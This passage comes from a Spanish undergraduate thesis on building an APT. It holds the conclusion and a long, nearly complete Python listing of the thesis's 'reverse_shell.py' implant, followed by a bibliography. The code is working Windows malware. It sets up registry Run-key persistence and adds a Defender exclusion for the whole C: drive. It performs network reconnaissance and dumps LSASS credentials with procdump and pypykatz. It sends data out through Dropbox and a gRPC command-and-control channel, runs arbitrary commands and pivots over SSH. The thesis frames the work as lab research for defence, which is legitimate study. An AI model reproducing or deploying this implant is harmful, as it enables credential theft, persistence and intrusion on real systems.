la red, o la gran velocidad de compresión y descompresión de datos. Existen otras alternativas a la arquitectura, herramientas o métodos empleados por la APT desarrollada; sin embargo, este enfoque ha demostrado tener gran flexibilidad debido al sistema de recepción de comandos de forma síncrona y asíncrona para poder adaptarse a cada sistema infectado. Además, se han aportado métodos de detección de estas amenazas basado en las tareas que suelen realizar. También se ha aportado información sobre su comportamiento y objetivos para comprender mejor su funcionamiento y ayudar a crear medidas de protección. En conclusión, en este trabajo se ha presentado el desarrollo e implementación de una APT y se ha puesto a prueba su funcionalidad en un laboratorio de pruebas. 5.2. Posibles mejoras Existen varias posibilidades de ampliación de funcionalidades del trabajo realizado en este TFG. A continuación, se destaca las que se consideran más importantes: Técnicas de evasión de antivirus como polimorfismo o cifrado del propio ejecutable. Las APTs suelen tener técnicas de evasión de los sistemas de defensa para evitar su detección. Dependiendo de la técnica de detección de cada antivirus, se podría implementar una contramedida y así permanecer oculto. Un antivirus puede estar basado en firma, heurística, comportamiento o una mezcla de varios. La implementación de este tipo de técnicas podría poner a prueba los sistemas de detección llegando así a mejorarlos. Dominios dinámicos. En la APT implementada, se usa una IP estática. Una versión más avanzada debería implementar una lista de dominios que cambiasen dependiendo de factores predefinidos, como por ejemplo el día de la semana. Esto haría más difícil la detección de dominios relacionados con conexiones C&C. Profundizar e implementar diferentes técnicas de escalado de privilegios o movimientos laterales. Dado el gran número de técnicas nuevas que se van aportando cada año, es cada vez más difícil detectar las amenazas. Desarrollar y demostrar cómo funcionan otras técnicas puede ser útil desde la perspectiva defensiva. Página 62 TFG - Creación de una APT - Escuela de Ingeniería Informática 2020/2021 23 import grpc 24 import chunk_pb2 ,chunk_pb2_grpc 25 26 27 from pypykatz .pypykatz import pypykatz 28 from pypykatz .registry .live_parser import LiveRegistry 29 from pypykatz .registry .offline_parser import OffineRegistry 30 31 #pip install mss pypykatz getmac requests dropbox ping3 key_generator cryptography grpcio grpcio -tools protobuf filelock paramiko 32 33 34 ######################################################################## 35 ######################################################################## 36 37 # Variables globales , se inicializan en initVariables () 38 version ="" 39 ipCC ="" 40 tempFolder ="" 41 dbx ="" 42 43 44 host_ip ="" 45 subnet ="" 46 upPcs = [ ] 47 username ="" 48 macAdd ="" 49 50 exit ="" 51 scanned ="" 52 start ="" 53 54 sock ="" 55 encrKey =’’ 56 57 CHUNK_SIZE = 1024 *1024 # 1MB 58 stub ="" 59 60 lock ="" 61 persistName ="dolphin" 62 ######################################################################## 63 ######################################################################## 64 65 66 ######################################################################## 67 # Comunicacion # 68 ######################################################################## 69 70 def to_byte (s) : 71 if type (s)is bytes : 72 return s 73 elif type (s)is str or (sys .version_info [ 0 ] < 3 and type (s)is unicode ) : 74 return s.encode (’utf -8’ ) 75 else : 76 raise TypeError ("Expected bytes or string , but got %s." %type (s) ) 77 78 def to_str (s) : 79 if type (s)is str : 80 return s 81 elif type (s)is bytes : 82 return s.decode (’utf -8’ ) 83 else : 84 raise TypeError ("Expected bytes or string , but got %s." %type (s) ) 85 86 87 def generate_key ( ) : Página 69 TFG - Creación de una APT - Escuela de Ingeniería Informática 2020/2021 88 global encrKey 89 90 date =datetime .datetime .now ( ) 91 92 day =str (date .day ) 93 month =str (date .month ) 94 year =str (date .year ) 95 secret =int (day+month+year ) 96 key =generate (seed =secret ,max_atom_len = 8 , min_atom_len = 8) . get_key ( ) 97 key =key [ : -1]+"=" 98 encrKey =Fernet (key ) 99 100 def decryptFile (filename ) : 101 with open (filename ,’rb’ )as f : 102 content =f.read ( ) 103 f.close ( ) 104 105 decrypted_data =encrKey .decrypt (content ) 106 107 with open (filename ,’wb’ )as f : 108 f.write (decrypted_data ) 109 f.close ( ) 110 111 112 def encryptFile (filename ) : 113 with open (filename ,’rb’ )as f : 114 content =f.read ( ) 115 f.close ( ) 116 117 encrypted_data =encrKey .encrypt (content ) 118 119 with open (filename ,’wb’ )as f : 120 f.write (encrypted_data ) 121 f.close ( ) 122 123 def get_file_chunks (filename ) : 124 with open (filename ,’rb’ )as f : 125 while True : 126 piece =f.read (CHUNK_SIZE ) ; 127 if len (piece ) == 0: 128 return 129 yield chunk_pb2 .Chunk (buffer=piece ) 130 131 132 def save_chunks_to_file (chunks ,filename ) : 133 with open (filename ,’wb’ )as f : 134 for chunk in chunks : 135 f.write (chunk .buffer ) 136 137 def downloadToCnC (in_file_name ) : 138 encryptFile (in_file_name ) 139 chunks_generator =get_file_chunks (in_file_name ) 140 response =stub .upload (chunks_generator ) 141 decryptFile (in_file_name ) 142 assert response .length == os .path .getsize (in_file_name ) 143 144 def uploadFromCnC (target_name ,out_file_name ) : 145 response =stub .download (chunk_pb2 .Request (name=target_name ) ) 146 save_chunks_to_file (response ,out_file_name ) 147 decryptFile (out_file_name ) 148 149 def getCmd ( ) : 150 request =chunk_pb2 .Empty ( ) 151 response =stub .getCmd (request ) 152 command =response .name .encode ( ) 153 command =encrKey .decrypt (command ) Página 70 TFG - Creación de una APT - Escuela de Ingeniería Informática 2020/2021 154 command =command .decode ( ) . rstrip ( ) 155 return command 156 157 def sendResponse (x) : 158 data =to_byte (x) 159 encrypted_data =encrKey .encrypt (data ) 160 data =to_str (encrypted_data ) 161 request =chunk_pb2 .Request (name=data ) 162 stub .getResponse (request ) 163 164 ######################################################################## 165 # Dropbox # 166 ######################################################################## 167 168 def uploadDropbox (filepath ,filename ) : 169 global macAdd 170 global username 171 172 try : 173 username =getpass .getuser ( ) 174 with open (filepath+filename ,’rb’ )as file : 175 uploadFile =file .read ( ) 176 177 dbx .files_upload (uploadFile ,’/’+macAdd+’/’+ 178 username+’/’+filename ,mode=dropbox .files .WriteMode .overwrite ) 179 return True 180 except Exception as e : 181 print (e) 182 return False 183 184 185 ######################################################################## 186 # Utilidades # 187 ######################################################################## 188 189 # Inicia las variables globales 190 def initVariables ( ) : 191 global exit 192 global scanned 193 global start 194 global version 195 global ipCC 196 global dbx 197 global host_ip 198 global subnet 199 global username 200 global macAdd 201 202 203 exit =False 204 scanned =False 205 start =time .time ( ) 206 207 # Version del script para saber si hay una nueva version 208 version = 1 209 # IP de CnC 210 ipCC ="192.168.0.200" 211 212 213 # Token y componente dropbox para subir y descargar archivos 214 token =’XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX’ 215 dbx =dropbox .Dropbox (token ) 216 217 # Ip y subred de la maquina local 218 host_ip =socket .gethostbyname (socket .gethostname ( ) ) 219 subnet =host_ip .split (".") Página 71 TFG - Creación de una APT - Escuela de Ingeniería Informática 2020/2021 220 subnet =subnet [ 0 ] + "." +subnet [ 1 ] + "." +subnet [ 2] + "." 221 # Nombre de usuario y macAddress 222 username =getpass .getuser ( ) 223 macAdd =gma ( ) 224 225 generate_key ( ) 226 227 228 def saveResult (command ,content ) : 229 with open (tempFolder+"result.txt" ,"a")as r : 230 r.write ("***************************\n") 231 r.write ("Command: " +command +"\n") 232 r.write ("***************************\n") 233 r.write ("Result: \n" +content +"\n") 234 r.write ("***************************\n\n" ) 235 r.close ( ) 236 237 def is_admin ( ) : 238 global admin 239 try : 240 temp =os .listdir (os .sep .join ( [ os .environ .get (’SystemRoot’ ,’C:\windows’ ) ,’temp’ ] ) ) 241 except : 242 admin ="[!!] User Privileges!" 243 return False 244 else : 245 admin ="[+] Admin Privileges!" 246 return True 247 248 def check_internet ( ) : 249 url ="http://www.google.com" 250 timeout = 5 251 252 try : 253 request =requests .get (url ,timeout=timeout ) 254 return True 255 except : 256 return False 257 258 def screenshot ( ) : 259 with mss ( ) as screenshot : 260 screenshot .shot ( ) 261 262 def webDownload (url ) : 263 get_response =requests .get (url ) 264 file_name =url .split ("/") [ -1] 265 with open (file_name ,"wb" )as out_file : 266 out_file .write (get_response .content ) 267 268 def downloadToFolder (url ) : 269 global tempFolder 270 get_response =requests .get (url ) 271 file_name =url .split ("/") [ -1] 272 with open (tempFolder+file_name ,"wb" )as out_file : 273 out_file .write (get_response .content ) 274 275 def checkOnlyInstance ( ) : 276 global lock 277 278 dirTemp ="C:\\Temp\\" 279 280 if not os .path .exists (dirTemp ) : 281 os .makedirs (dirTemp ) 282 283 284 if not is_admin ( ) : 285 time .sleep (1) Página 72 TFG - Creación de una APT - Escuela de Ingeniería Informática 2020/2021 286 287 lock_path =Path (dirTemp +"instance_123123.lock" ) 288 289 290 291 lock_path .touch (exist_ok=True ) 292 lock =FileLock (lock_path ,timeout=1) 293 294 try : 295 lock .acquire (timeout=1) 296 297 print ("Running" ) 298 299 except Exception as e : 300 print ("Lock busy , shutting down" ) 301 sys .exit ( ) 302 303 304 305 ######################################################################## 306 # Reconocimiento # 307 ######################################################################## 308 309 def sysinfo ( ) : 310 global scanned 311 global admin 312 313 sysFile =open (tempFolder+"sys.txt" ,"w") 314 315 is_admin ( ) 316 sysFile .write (admin+"\n\n") 317 318 commands = [ ] 319 #https :// jdhitsolutions.com/blog/powershell /5187/ get -antivirus -product -status -with -powershell / 320 antivCmd ="powershell.exe Get -CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct" 321 322 323 commands = [ "whoami" ,"systeminfo" ,"net localgroup" ,"net share" ,"net localgroup Administradores" ," net localgroup Administrators" ,"net user" , 324 "net groups" ,"net user /domain" ,’net group /domain "Admins. del dominio"’ ,’net group /domain " Domain Admins"’ ,"tasklist /v" ,"net accounts" , 325 antivCmd ,"nltest /dsgetdc: %userdomain %" ,"klist tickets" ,"tree C:/" ] 326 327 328 for cin commands : 329 result ="none" 330 try : 331 proc =subprocess .Popen (c,shell=True , 332 stdout=subprocess .PIPE ,stderr=subprocess .PIPE ,stdin=subprocess .PIPE ) 333 result =proc .stdout .read ( ) + proc .stderr .read ( ) 334 335 try : 336 result =result .decode (’utf -8’ ) 337 except : 338 result =result .decode (’latin1 ’ ) 339 pass 340 341 sysFile .write ("Command: "+c+"\n\n") 342 sysFile .write (result ) 343 sysFile .write ("\n#####################################") 344 sysFile .write ("#####################################\n") 345 except : 346 pass 347 348 sysFile .close ( ) Página 73 TFG - Creación de una APT - Escuela de Ingeniería Informática 2020/2021 349 350 uploaded =uploadDropbox (tempFolder ,"sys.txt" ) 351 352 353 # Si no se han subido correctamente se reintenta 354 for iin range (1 ,3) : 355 if not uploaded : 356 time .sleep (2) 357 if not uploaded : 358 uploaded =uploadDropbox (tempFolder ,’sys.txt’ ) 359 360 if not uploaded : 361 scanned =False 362 363 os .remove (tempFolder+’sys.txt’ ) 364 365 # Intenamos hacer un scanneo de la red y si los archivos 366 # no se suben a dropbox lo consideramos fallido. 367 def scanNetwork ( ) : 368 global upPcs 369 global scanned 370 global tempFolder 371 372 # PING SWEEP SCAN 373 if len (upPcs ) == 0: 374 pingSweep ( ) 375 376 # ESCANEO DE PUERTOS FRECUENTES 377 commonPorts ( ) 378 upload1 =uploadDropbox (tempFolder ,’portScan.txt’ ) 379 380 # ESCANEO SERVIDORES DNS 381 dnsScan ( ) 382 upload2 =uploadDropbox (tempFolder ,’dnsServers.txt’ ) 383 384 # CARPETAS DE RED 385 netFolders ( ) 386 upload3 =uploadDropbox (tempFolder ,’networkFolders.txt’) 387 388 # ESCANEO COMPLETO 389 #fullScan () 390 #uploadDropbox(’fullPortScan.txt ’) 391 392 # Si no se han subido correctamente se reintenta 393 try : 394 for iin range (1 ,3) : 395 if not upload1 or not upload2 or not upload3 : 396 time .sleep (2) 397 if not upload1 : 398 upload1 =uploadDropbox (tempFolder ,’portScan.txt’ ) 399 if not upload2 : 400 upload2 =uploadDropbox (tempFolder ,’dnsServers.txt’ ) 401 if not upload3 : 402 upload3 =uploadDropbox (tempFolder ,’networkFolders.txt’) 403 except : 404 pass 405 if not upload1 or not upload2 or not upload3 : 406 scanned =False 407 os .remove (tempFolder+’portScan.txt’ ) 408 os .remove (tempFolder+’dnsServers.txt’ ) 409 os .remove (tempFolder+’networkFolders.txt’) 410 411 412 413 414 def netFolders ( ) : Página 74 TFG - Creación de una APT - Escuela de Ingeniería Informática 2020/2021 415 global subnet 416 global upPcs 417 output ="" 418 419 scanFile =open (tempFolder+"networkFolders.txt" ,"w") 420 try : 421 for pc in upPcs : 422 423 proc =subprocess .Popen ("net view \\\\"+pc ,shell=True ,stdout=subprocess .PIPE ,stderr=subprocess .PIPE ,stdin=subprocess .PIPE ) 424 result =proc .stdout .read ( ) + proc .stderr .read ( ) 425 426 try : 427 result =result .decode (’utf -8’ ) 428 except : 429 result =result .decode (’latin1 ’ ) 430 pass 431 432 scanFile .write (result ) 433 scanFile .write ("\n#####################################") 434 scanFile .write ("#####################################\n") 435 except : 436 pass 437 438 scanFile .close ( ) 439 440 441 442 443 def pingSweep ( ) : 444 global subnet 445 global upPcs 446 for iin range (0 , 255) : 447 target_ip =subnet +str (i) 448 response =ping (target_ip ,timeout=0.01) 449 450 if str (response ) != "None" : 451 upPcs .append (target_ip ) 452 # si el ping esta bloqueado por el firewall 453 # asumimos que todos los equipos estan activos 454 if len (upPcs ) < 2: 455 upPcs = [ ] 456 for iin range (0 , 255) : 457 target_ip =subnet +str (i) 458 upPcs .append (target_ip ) 459 460 461 # COMMON PORT SCAN 462 def commonPorts ( ) : 463 global upPcs 464 465 scanFile =open (tempFolder+"portScan.txt" ,"w") 466 s=socket .socket (socket .AF_INET ,socket .SOCK_STREAM ) 467 try : 468 # 21(ftp) ,22( ssh) ,23( telnet) ,53(DNS) ,80( http) ,443( https) ,445(smb) ,3389( rdp) 469 commonPorts = [21,22,23,53,80,443,445,3389] 470 471 #para cada pc activo intentamos conectarnos a los puertos mas comunes 472 for pc in upPcs : 473 scanFile .write ("IP: %s \n" %pc ) 474 for port in commonPorts : 475 s=socket .socket (socket .AF_INET ,socket .SOCK_STREAM ) 476 s.settimeout (0.5) 477 connection =s.connect_ex ( ( pc ,port ) ) 478 479 if (connection == 0) : Página 75 TFG - Creación de una APT - Escuela de Ingeniería Informática 2020/2021 480 scanFile .write ("\t %d OPEN \n" %port ) 481 s.close ( ) 482 except : 483 pass 484 485 scanFile .close ( ) 486 s.close ( ) 487 488 489 # DNS SERVERS SEARCH 490 def dnsScan ( ) : 491 global subnet 492 493 scanFile =open (tempFolder+"dnsServers.txt" ,"w") 494 s=socket .socket (socket .AF_INET ,socket .SOCK_STREAM ) 495 try : 496 for iin range (0 , 255) : 497 target_ip =subnet +str (i) 498 s=socket .socket (socket .AF_INET ,socket .SOCK_STREAM ) 499 s.settimeout (0.5) 500 connection =s.connect_ex ( ( target_ip ,53) ) 501 502 if (connection == 0) : 503 scanFile .write ("DNS server: %s \n" %target_ip ) 504 s.close ( ) 505 506 except : 507 pass 508 509 scanFile .close ( ) 510 s.close ( ) 511 512 513 # COMPLETE SCAN 514 def fullScan ( ) : 515 global upPcs 516 517 scanFile =open (tempFolder+"fullPortScan.txt" ,"w") 518 s=socket .socket (socket .AF_INET ,socket .SOCK_STREAM ) 519 try : 520 for pc in upPcs : 521 scanFile .write ("IP: %s \n" %pc ) 522 for port in range (0,65535): 523 s=socket .socket (socket .AF_INET ,socket .SOCK_STREAM ) 524 s.settimeout (0.5) 525 connection =s.connect_ex ( ( pc ,port ) ) 526 527 if (connection == 0) : 528 scanFile .write ("\t %d OPEN \n" %port ) 529 s.close ( ) 530 531 except : 532 pass 533 534 scanFile .close ( ) 535 s.close ( ) 536 537 538 539 ######################################################################## 540 # Actualizacion # 541 ######################################################################## 542 543 def update ( ) : 544 global ipCC 545 global version Página 76 TFG - Creación de una APT - Escuela de Ingeniería Informática 2020/2021 546 global persistName 547 548 try : 549 550 metadata ,res =dbx .files_download (path="/version.txt" ) 551 lastVersion =int (res .content ) 552 553 if lastVersion >version : 554 with open (tempFolder+"reverse_shell.exe" ,"wb" )as f : 555 metadata ,res =dbx .files_download (path="/reverse_shell.exe" ) 556 f.write (res .content ) 557 f.close ( ) 558 559 #Hacer la persistencia 560 location =os .environ ["appdata" ] + "\\"+persistName+".exe"#fRL6zEcB9E.exe" 561 if not os .path .exists (location ) : 562 subprocess .call (’reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v dolphin /t REG_SZ /d "’ +location +’"’ ,shell=True ) 563 shutil .copyfile (tempFolder+"reverse_shell.exe" ,location ) 564 os .remove (tempFolder+"reverse_shell.exe" ) 565 except : 566 pass 567 568 569 570 ######################################################################## 571 # Persistencia # 572 ######################################################################## 573 574 def persistence ( ) : 575 global tempFolder 576 global persistName 577 578 # Carpeta temporal donde se guardaran todos los archivos 579 tempFolder =os .environ ["appdata" ] + "\\dolphin \\" 580 581 try : 582 if not os .path .exists (tempFolder ) : 583 os .makedirs (tempFolder ) 584 except : 585 pass 586 587 if is_admin ( ) : 588 try : 589 location =os .environ ["appdata" ] + "\\"+persistName+".exe" 590 if not os .path .exists (location ) : 591 shutil .copyfile (sys .executable ,location ) 592 subprocess .call (’reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v dolphin /t REG_SZ /d "’ +location +’"’ ,shell=True ) 593 594 except : 595 pass 596 else : 597 try : 598 location =os .environ ["appdata" ] + "\\"+persistName+".exe" 599 if not os .path .exists (location ) : 600 shutil .copyfile (sys .executable ,location ) 601 subprocess .call (’reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v dolphin /t REG_SZ /d "’ +location +’"’ ,shell=True ) 602 except : 603 pass 604 605 def listUsers ( ) : 606 c="dir /b C:\\Users" 607 Página 77 TFG - Creación de una APT - Escuela de Ingeniería Informática 2020/2021 608 proc =subprocess .Popen (c,shell=True ,stdout=subprocess .PIPE ,stderr=subprocess .PIPE ,stdin= subprocess .PIPE ) 609 result =proc .stdout .read ( ) + proc .stderr .read ( ) 610 611 try : 612 result =result .decode (’utf -8’ ) 613 except : 614 result =result .decode (’latin1 ’ ) 615 pass 616 result =result .splitlines ( ) 617 users = [ ] 618 619 for iin result : 620 if i!="Public" : 621 users .append (i) 622 return users 623 624 625 ######################################################################## 626 # Priviledge escalation # 627 ######################################################################## 628 629 def dumpHash ( ) : 630 try : 631 with open (tempFolder+"procdump64.exe" ,"wb" )as f : 632 metadata ,res =dbx .files_download (path="/procdump64.exe" ) 633 f.write (res .content ) 634 f.close ( ) 635 636 tempDir =os .getcwd ( ) 637 os .chdir (tempFolder ) 638 # ejecutar: procdump.exe -accepteula -r -ma lsass.exe lsass.dmp 639 os .system ("procdump64.exe -accepteula -r -ma lsass.exe lsass.dmp" ) 640 os .remove ("procdump64.exe" ) 641 642 # copiamos el archivo para evitar que el AV lo borre 643 shutil .copyfile ("lsass.dmp" ,"hash.dmp" ) 644 os .remove ("lsass.dmp" ) 645 646 parsedDump =pypykatz .parse_minidump_file ("hash.dmp" ) 647 parsedDump =str (parsedDump ) 648 649 hashFile =open ("hash.txt" ,"w") 650 hashFile .write (parsedDump ) 651 hashFile .close ( ) 652 653 654 uploadDropbox (tempFolder ,"hash.txt" ) 655 656 os .remove ("hash.txt" ) 657 os .remove ("hash.dmp" ) 658 659 os .chdir (tempDir ) 660 return True 661 except : 662 return False 663 pass 664 665 666 ######################################################################## 667 # Command and Control # 668 ######################################################################## 669 670 def checkCommands ( ) : 671 content ="" 672 username =getpass .getuser ( ) Página 78 TFG - Creación de una APT - Escuela de Ingeniería Informática 2020/2021 1068 sendResponse (f.read ( ) ) 1069 f.close ( ) 1070 os .remove (tempFolder+"networkFolders.txt") 1071 except : 1072 sendResponse ("[!!] Failed to make network folders scan" ) 1073 1074 elif command [ : 8 ] == "fullScan" : 1075 try : 1076 if len (upPcs ) == 0: 1077 pingSweep ( ) 1078 fullScan ( ) 1079 with open (tempFolder+"fullPortScan.txt" ,"rb" )as f : 1080 sendResponse (f.read ( ) ) 1081 f.close ( ) 1082 1083 #downloadToCnC(tempFolder+" fullPortScan.txt") 1084 os .remove (tempFolder+"fullPortScan.txt" ) 1085 except : 1086 sendResponse ("[!!] Failed to make full scan" ) 1087 1088 1089 elif command [ : 3 ] == "ssh" : 1090 command =command .split (" " ) 1091 if len (command ) <4: 1092 sendResponse ("Empty paremeters" ) 1093 else : 1094 if len (command [ 1 ] ) >0 and len (command [ 2 ] ) >0 and len (command [ 3 ] ) >0: 1095 sshConnection (command [1 ] , command [ 2 ] , command [3]) 1096 sendResponse ("Session ended" ) 1097 else : 1098 sendResponse ("Empty paremeters" ) 1099 1100 elif command [ : 8 ] == "dumpHash" : 1101 if not is_admin ( ) : 1102 sendResponse ("Admin privileges required" ) 1103 else : 1104 success =dumpHash ( ) 1105 if success : 1106 sendResponse ("Hashes dumped to cloud" ) 1107 else : 1108 sendResponse ("Failed to dump" ) 1109 1110 1111 else : 1112 proc =subprocess .Popen (command ,shell=True , 1113 stdout=subprocess .PIPE ,stderr=subprocess .PIPE ,stdin=subprocess .PIPE ) 1114 result =proc .stdout .read ( ) + proc .stderr .read ( ) 1115 1116 try : 1117 result =result .decode (’utf -8’ ) 1118 except : 1119 result =result .decode (’latin1 ’ ) 1120 pass 1121 1122 sendResponse (str (result ) ) 1123 1124 def sshConnection (h,u,p) : 1125 1126 host =h 1127 user =u 1128 password =p 1129 command ="ssh "+user+"@"+host 1130 1131 if len (host ) >0 and len (user )>0 and len (password ) >0: 1132 try : 1133 ssh =paramiko .SSHClient ( ) Página 85 TFG - Creación de una APT - Escuela de Ingeniería Informática 2020/2021 1134 ssh .set_missing_host_key_policy (paramiko .AutoAddPolicy ( ) ) 1135 ssh .connect (host ,username=user ,password=password ) 1136 sendResponse ("Session started" ) 1137 1138 exit =False 1139 while not exit : 1140 1141 command =getCmd ( ) 1142 1143 if command == "exit" : 1144 exit =True 1145 ssh .close ( ) 1146 else : 1147 stdin ,stdout ,stderr =ssh .exec_command (command ) 1148 result =stdout .read ( ) 1149 1150 try : 1151 result =result .decode (’utf -8’ ) 1152 except : 1153 result =result .decode (’latin1 ’ ) 1154 pass 1155 sendResponse (result ) 1156 except : 1157 pass 1158 1159 1160 def disableAV ( ) : 1161 subprocess .call (’powershell Add -MpPreference -ExclusionPath "C:"’ ,shell=True ) 1162 1163 #https ://www .programcreek .com/ python/ example /112016/ pypykatz.pypykatz .pypykatz.pypykatz 1164 def dumpCreds ( ) : 1165 result ="none" 1166 try : 1167 lr =LiveRegistry .go_live ( ) 1168 except Exception as e : 1169 result =e 1170 try : 1171 lr =OffineRegistry .from_live_system ( ) 1172 except Exception as e : 1173 result =e 1174 pass 1175 pass 1176 result =str (lr ) 1177 return result 1178 1179 1180 ’’’ 1181 Random Strings to change the hash 1182 mgYmNQbpmvmgYmNQbpmv 1183 VjaJcynNEQmgYmNQbpmv 1184 XJHJ8VjVc9mgYmNQbpmv 1185 6UyNRacxwFmgYmNQbpmv 1186 mgYmNQbpmvmgYmNQbpmv 1187 6UyNRacxwFmgYmNQbpmv 1188 6UyNRacxwFmgYmNQbpmv 1189 HW7x4WDZHnmgYmNQbpmv 1190 Q3mKKia2eFmgYmNQbpmv 1191 HW7x4WDZHnmgYmNQbpmv 1192 HW7x4WDZHnmgYmNQbpmv 1193 XJHJ8VjVc9mgYmNQbpmv 1194 wzENqn2BDgmgYmNQbpmv 1195 wzENqn2BDgmgYmNQbpmv 1196 ’’’ 1197 1198 1199 Página 86 TFG - Creación de una APT - Escuela de Ingeniería Informática 2020/2021 1200 ######################################################################## 1201 # Programa principal # 1202 ######################################################################## 1203 # Comprobamos que somos la unica instancia activa 1204 checkOnlyInstance ( ) 1205 1206 #si somos admin comprobamos que el AV esta desactivado 1207 if (is_admin ( ) ) : 1208 disableAV ( ) 1209 1210 # PERSISTENCIA - hacemos la persistencia del programa actual 1211 persistence ( ) 1212 1213 1214 # Comprobamos si tenemos conexion a internet 1215 attempts = 0 1216 while not check_internet ( ) : 1217 # Si no tenemos internet esperamos 5 min y volvemos a intentarlo 1218 time .sleep (300) 1219 # Si llevamos mas de 6 intentos apagamos el programa 1220 if attempts > 6: 1221 sys .exit ( ) 1222 attempts += 1 1223 1224 # Inicializamos las variables globales 1225 initVariables ( ) 1226 1227 # ACTUALIZACION - Comprobar si hay una actualizacion 1228 update ( ) 1229 1230 # COMMAND AND CONTROL 1231 connection ( )   Listing 6.8: Código fuente de reverse_shell.py Página 87 Bibliografía [1] Advanced Persistent Threat Groups. Fireeye. 2020. URL:https://www.fireeye.com/currentthreats/apt-groups.html (visitado 01-05-2021). [2] Aleksa Tamburkovski. En: Coding Botnet & Backdoor In Python For Ethical Hacking! 2020. URL: https : / / www . udemy . com / course / coding - botnet - backdoor - in - python - for - ethical - hacking/ (visitado 17-06-2021). [3] Arman Rahimi. En: Practical Offensive Security With Python. A Problem-Solving Approach For Building A Malware Bot. 2020. URL:https://www.udemy.com%20(No%20disponible) (visitado 17-06-2021). [4] Comunicación grpc. Ciro S. Costa. 2018. URL:https://ops.tips/blog/sending-files-viagrpc/ (visitado 10-04-2021). [5] Daniel Echeverri Montoya. Hacking con Python. 0xWORD, 2015. [6] Escrito en el que se describe el ciclo de vida de una APT según Mandiant. Mandiant. 2020. URL: https://content.fireeye.com/apt-41/rpt-apt41/ (visitado 29-04-2021). [7] Ejemplo de comunicación grpc. gooooloo. 2020. URL:https://github.com/gooooloo/grpcfile-transfer (visitado 10-06-2021). [8] Find domain name from command line. SRINI. 2019. URL:https://www.windows-commandline. com/find-domain-name-command-line/ (visitado 10-04-2021). [9] Heath Adams. En: Windows Privilege Escalation for Beginners. 2020. URL:https://www.udemy. com/course/windows-privilege-escalation-for-beginners/ (visitado 17-06-2021). [10] Hillary Sanders Joshua Saxe. Malware data science. No starch press, 2018. [11] How To Dump Lsass Without Mimikatz. Stella Sebastian. 2021. URL:https://reconshell.com/ how-to-dump-lsass-without-mimikatz/ (visitado 10-06-2021). [12] How to Encrypt and Decrypt Files in Python. Abdou Rockikz. 2021. URL:https : / / www . thepythoncode . com / article / encrypt - decrypt - files - symmetric - python (visitado 19-05-2021). [13] Hussam Khrais. Python for Offensive PenTest. Packt, 2018. [14] Justin Seitz. Black hat python. No starch press, 2015. [15] Las 7 fases de un ciberataque. ¿Las conoces?. Incibe. 2020. URL:https://www.incibe.es/ protege-tu-empresa/blog/las-7-fases-ciberataque-las-conoces (visitado 07-03-2021). [16] Lateral Movement Windows and Active Directory. Riccardo Ancarani. 2019. URL:https : / / riccardoancarani . github . io / 2019 - 10 - 04 - lateral - movement - megaprimer/ (visitado 19-05-2021). 88 TFG - Creación de una APT - Escuela de Ingeniería Informática 2020/2021 [17] Mandiant Intelligence Center. “APT1. Exposing One of China’s Cyber Espionage Units; 2013”. En: URL: https://www. fireeye. com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report. pdf (), pág. 76. [18] Matriz de empresa de Mitre. MITRE ATT&CK. 2020. URL:https : / / attack . mitre . org / matrices/enterprise/ (visitado 29-04-2021). [19] Matriz de dispositivos móviles de Mitre. MITRE ATT&CK. 2020. URL:https://attack.mitre. org/matrices/mobile/ (visitado 29-04-2021). [20] Matriz Pre de Mitre. MITRE ATT&CK. 2020. URL:https : / / attack . mitre . org / matrices / enterprise/pre/ (visitado 29-04-2021). [21] OpenTFTP 1.66 - Local Privilege Escalation. boku. 2020. URL:https://www.exploit-db.com/ exploits/48060 (visitado 10-05-2021). [22] Pypykatz en python. Programcreek. 2020. URL:https : / / www . programcreek . com / python / example/112017/pypykatz.pypykatz.pypykatz.parse_minidump_file (visitado 10-06-2021). [23] Rithwik Jayasimha. En: Advanced Persistent Threats: The Big Picture. 2017. URL:https : / / www . pluralsight . com / courses / advanced - persistent - threats - big - picture (visitado 17-06-2021). [24] SharPersist: Windows Persistence Toolkit in C#. Fireeye. 2020. URL:https://www.fireeye.com/ blog/threat-research/2019/09/sharpersist-windows-persistence-toolkit.html (visitado 10-04-2021). [25] Tib3rius. En: Windows Privilege Escalation for OSCP & Beyond! 2020. URL:https://www.udemy. com/course/windows-privilege-escalation/ (visitado 17-06-2021). [26] Timo Steffens. Attribution of Advanced Persistent Threats. Springer Vieweg, 2020. [27] Trend Micro y White Paper. “Taxonomy of Botnet Threats”. En: Micro (November 2006). [28] Tyler Wrightson. Advanced persisten threat hacking. McGraw Hill, 2015. [29] Understanding gRPC. Arun Mathew Kurian. 2020. URL:https : / / betterprogramming . pub / understanding-grpc-60737b23e79e (visitado 06-04-2021). [30] Understanding Protocol Buffers. Arun Mathew Kurian. 2020. URL:https://betterprogramming. pub/understanding-protocol-buffers-43c5bced0d47 (visitado 06-04-2021). [31] Windows Privilege Escalation — Part 1 (Unquoted Service Path). Sumit Verma. 2019. URL: https://medium.com/@SumitVerma101/windows-privilege-escalation-part-1-unquotedservice-path-c7a011a8d8ae (visitado 19-05-2021). Página 89